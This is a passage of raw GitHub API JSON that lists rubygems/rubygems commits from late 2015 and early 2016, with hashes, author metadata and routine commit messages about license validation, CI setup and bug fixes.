requirements","tree":{"sha":"b1d6c582705c6fac3cd2cd00ef54fbacc5782a84","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b1d6c582705c6fac3cd2cd00ef54fbacc5782a84"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/360e9852886aa4ee515b9c8a5086ae4441736db6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/360e9852886aa4ee515b9c8a5086ae4441736db6","html_url":"https://github.com/rubygems/rubygems/commit/360e9852886aa4ee515b9c8a5086ae4441736db6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/360e9852886aa4ee515b9c8a5086ae4441736db6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d6d82749880652bce98b6a61b07b3b92404e4fe6","url":"https://api.github.com/repos/rubygems/rubygems/commits/d6d82749880652bce98b6a61b07b3b92404e4fe6","html_url":"https://github.com/rubygems/rubygems/commit/d6d82749880652bce98b6a61b07b3b92404e4fe6"}]},{"sha":"d6d82749880652bce98b6a61b07b3b92404e4fe6","node_id":"MDY6Q29tbWl0NjE0MDcwOmQ2ZDgyNzQ5ODgwNjUyYmNlOThiNmE2MWIwN2IzYjkyNDA0ZTRmZTY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T21:54:21Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T21:54:21Z"},"message":"Merge pull request #1125 from mvz/fix-prerelease-memoization\n\nFix memoization for Gem::Version#prerelease?","tree":{"sha":"eca703aed5e81eeb548301fad27425c0ffb89c93","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/eca703aed5e81eeb548301fad27425c0ffb89c93"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d6d82749880652bce98b6a61b07b3b92404e4fe6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d6d82749880652bce98b6a61b07b3b92404e4fe6","html_url":"https://github.com/rubygems/rubygems/commit/d6d82749880652bce98b6a61b07b3b92404e4fe6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d6d82749880652bce98b6a61b07b3b92404e4fe6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"20e09cf990463983c6eafc8e58ddb5a6c14db6ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/20e09cf990463983c6eafc8e58ddb5a6c14db6ea","html_url":"https://github.com/rubygems/rubygems/commit/20e09cf990463983c6eafc8e58ddb5a6c14db6ea"},{"sha":"ae4a6f657c986d72a878b86fca68753e02ad9bde","url":"https://api.github.com/repos/rubygems/rubygems/commits/ae4a6f657c986d72a878b86fca68753e02ad9bde","html_url":"https://github.com/rubygems/rubygems/commit/ae4a6f657c986d72a878b86fca68753e02ad9bde"}]},{"sha":"1b5349b10221b222cb00b12991db04df7b107614","node_id":"MDY6Q29tbWl0NjE0MDcwOjFiNTM0OWIxMDIyMWIyMjJjYjAwYjEyOTkxZGIwNGRmN2IxMDc2MTQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T01:55:50Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T01:55:50Z"},"message":"Remove deprecation warning in test_gem_installer","tree":{"sha":"5bf168de429356e4b030c05798ff40aad28ea9c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5bf168de429356e4b030c05798ff40aad28ea9c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1b5349b10221b222cb00b12991db04df7b107614","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1b5349b10221b222cb00b12991db04df7b107614","html_url":"https://github.com/rubygems/rubygems/commit/1b5349b10221b222cb00b12991db04df7b107614","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1b5349b10221b222cb00b12991db04df7b107614/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"110ddac01adbfd33ab72be3f683d2ae72c4e7be3","url":"https://api.github.com/repos/rubygems/rubygems/commits/110ddac01adbfd33ab72be3f683d2ae72c4e7be3","html_url":"https://github.com/rubygems/rubygems/commit/110ddac01adbfd33ab72be3f683d2ae72c4e7be3"}]},{"sha":"cc2f089c5a8104cb2e3f8e56e463a20ecc223664","node_id":"MDY6Q29tbWl0NjE0MDcwOmNjMmYwODljNWE4MTA0Y2IyZTNmOGU1NmU0NjNhMjBlY2MyMjM2NjQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T01:51:41Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-07T01:51:41Z"},"message":"[Licenses] Require rubygems/text","tree":{"sha":"1252821b70ae131d41106172000d21b640cf2ffc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1252821b70ae131d41106172000d21b640cf2ffc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cc2f089c5a8104cb2e3f8e56e463a20ecc223664","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cc2f089c5a8104cb2e3f8e56e463a20ecc223664","html_url":"https://github.com/rubygems/rubygems/commit/cc2f089c5a8104cb2e3f8e56e463a20ecc223664","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cc2f089c5a8104cb2e3f8e56e463a20ecc223664/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"110ddac01adbfd33ab72be3f683d2ae72c4e7be3","url":"https://api.github.com/repos/rubygems/rubygems/commits/110ddac01adbfd33ab72be3f683d2ae72c4e7be3","html_url":"https://github.com/rubygems/rubygems/commit/110ddac01adbfd33ab72be3f683d2ae72c4e7be3"}]},{"sha":"b2cf54294cdb78c6580ca7d42253086eb92969ae","node_id":"MDY6Q29tbWl0NjE0MDcwOmIyY2Y1NDI5NGNkYjc4YzY1ODBjYTdkNDIyNTMwODZlYjkyOTY5YWU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-05T01:14:05Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-01-05T01:14:05Z"},"message":"[MAINTAINERS] Add segiddins","tree":{"sha":"31122c82019692875333bfe40f1cd3847f2126a2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/31122c82019692875333bfe40f1cd3847f2126a2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b2cf54294cdb78c6580ca7d42253086eb92969ae","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b2cf54294cdb78c6580ca7d42253086eb92969ae","html_url":"https://github.com/rubygems/rubygems/commit/b2cf54294cdb78c6580ca7d42253086eb92969ae","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b2cf54294cdb78c6580ca7d42253086eb92969ae/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"068b9f2446e0a03439623fd2081e77fe22a229bb","url":"https://api.github.com/repos/rubygems/rubygems/commits/068b9f2446e0a03439623fd2081e77fe22a229bb","html_url":"https://github.com/rubygems/rubygems/commit/068b9f2446e0a03439623fd2081e77fe22a229bb"}]},{"sha":"92a7a08383717a41b25eff697254236df9d8f2a2","node_id":"MDY6Q29tbWl0NjE0MDcwOjkyYTdhMDgzODM3MTdhNDFiMjVlZmY2OTcyNTQyMzZkZjlkOGYyYTI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-25T16:23:45Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-25T16:23:45Z"},"message":"[Travis] Test against Ruby 2.3.0","tree":{"sha":"2f143c9521e59a4eecafd0bdfade3adebece373d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2f143c9521e59a4eecafd0bdfade3adebece373d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/92a7a08383717a41b25eff697254236df9d8f2a2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/92a7a08383717a41b25eff697254236df9d8f2a2","html_url":"https://github.com/rubygems/rubygems/commit/92a7a08383717a41b25eff697254236df9d8f2a2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/92a7a08383717a41b25eff697254236df9d8f2a2/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ebb48d9b86683ce2fe8891299e1899d4fcc0216c","url":"https://api.github.com/repos/rubygems/rubygems/commits/ebb48d9b86683ce2fe8891299e1899d4fcc0216c","html_url":"https://github.com/rubygems/rubygems/commit/ebb48d9b86683ce2fe8891299e1899d4fcc0216c"}]},{"sha":"7c15ca7a9bb0a19ee8a3596ff81e781ffb2af7ed","node_id":"MDY6Q29tbWl0NjE0MDcwOjdjMTVjYTdhOWJiMGExOWVlOGEzNTk2ZmY4MWU3ODFmZmIyYWY3ZWQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-25T16:04:56Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-25T16:05:28Z"},"message":"[Specification] Give a suggestion when validating an unknown license","tree":{"sha":"83f783029d0c27b6c9b2da00f293188066065d96","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/83f783029d0c27b6c9b2da00f293188066065d96"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7c15ca7a9bb0a19ee8a3596ff81e781ffb2af7ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7c15ca7a9bb0a19ee8a3596ff81e781ffb2af7ed","html_url":"https://github.com/rubygems/rubygems/commit/7c15ca7a9bb0a19ee8a3596ff81e781ffb2af7ed","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7c15ca7a9bb0a19ee8a3596ff81e781ffb2af7ed/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ebb48d9b86683ce2fe8891299e1899d4fcc0216c","url":"https://api.github.com/repos/rubygems/rubygems/commits/ebb48d9b86683ce2fe8891299e1899d4fcc0216c","html_url":"https://github.com/rubygems/rubygems/commit/ebb48d9b86683ce2fe8891299e1899d4fcc0216c"}]},{"sha":"ebb48d9b86683ce2fe8891299e1899d4fcc0216c","node_id":"MDY6Q29tbWl0NjE0MDcwOmViYjQ4ZDliODY2ODNjZTJmZTg4OTEyOTllMTg5OWQ0ZmNjMDIxNmM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-12T19:51:48Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-12T19:51:48Z"},"message":"Merge pull request #1414 from segiddins/seg-license-remove-double-warning\n\n[Specification] Remove double warning when validating licenses","tree":{"sha":"2a448f57c4b4b846911b6d952175524d8f65af77","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2a448f57c4b4b846911b6d952175524d8f65af77"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ebb48d9b86683ce2fe8891299e1899d4fcc0216c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ebb48d9b86683ce2fe8891299e1899d4fcc0216c","html_url":"https://github.com/rubygems/rubygems/commit/ebb48d9b86683ce2fe8891299e1899d4fcc0216c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ebb48d9b86683ce2fe8891299e1899d4fcc0216c/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"182223ed08c2d39892989aecacef5de43c89deba","url":"https://api.github.com/repos/rubygems/rubygems/commits/182223ed08c2d39892989aecacef5de43c89deba","html_url":"https://github.com/rubygems/rubygems/commit/182223ed08c2d39892989aecacef5de43c89deba"},{"sha":"87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","url":"https://api.github.com/repos/rubygems/rubygems/commits/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","html_url":"https://github.com/rubygems/rubygems/commit/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7"}]},{"sha":"87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","node_id":"MDY6Q29tbWl0NjE0MDcwOjg3YzBiOWZkY2JhNjcxYjRlZWRlZWQyZWMyOGY4N2FkYTAxOTRlYTc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-12T18:35:44Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-12-12T18:35:44Z"},"message":"[Specification] Remove double warning when validating licenses","tree":{"sha":"2a448f57c4b4b846911b6d952175524d8f65af77","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2a448f57c4b4b846911b6d952175524d8f65af77"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","html_url":"https://github.com/rubygems/rubygems/commit/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/87c0b9fdcba671b4eedeed2ec28f87ada0194ea7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"182223ed08c2d39892989aecacef5de43c89deba","url":"https://api.github.com/repos/rubygems/rubygems/commits/182223ed08c2d39892989aecacef5de43c89deba","html_url":"https://github.com/rubygems/rubygems/commit/182223ed08c2d39892989aecacef5de43c89deba"}]},{"sha":"426706f8316e2a0902070b44cbaccc01fb207359","node_id":"MDY6Q29tbWl0NjE0MDcwOjQyNjcwNmY4MzE2ZTJhMDkwMjA3MGI0NGNiYWNjYzAxZmIyMDczNTk=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-10T19:57:40Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-12-10T19:57:40Z"},"message":"Merge pull request #1411 from jwworth/pull-request-1449751307\n\nFix double word typo","tree":{"sha":"146198143746bb41a18f9668eaaa169edaa8c88c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/146198143746bb41a18f9668eaaa169edaa8c88c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/426706f8316e2a0902070b44cbaccc01fb207359","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/426706f8316e2a0902070b44cbaccc01fb207359","html_url":"https://github.com/rubygems/rubygems/commit/426706f8316e2a0902070b44cbaccc01fb207359","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/426706f8316e2a0902070b44cbaccc01fb207359/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.githu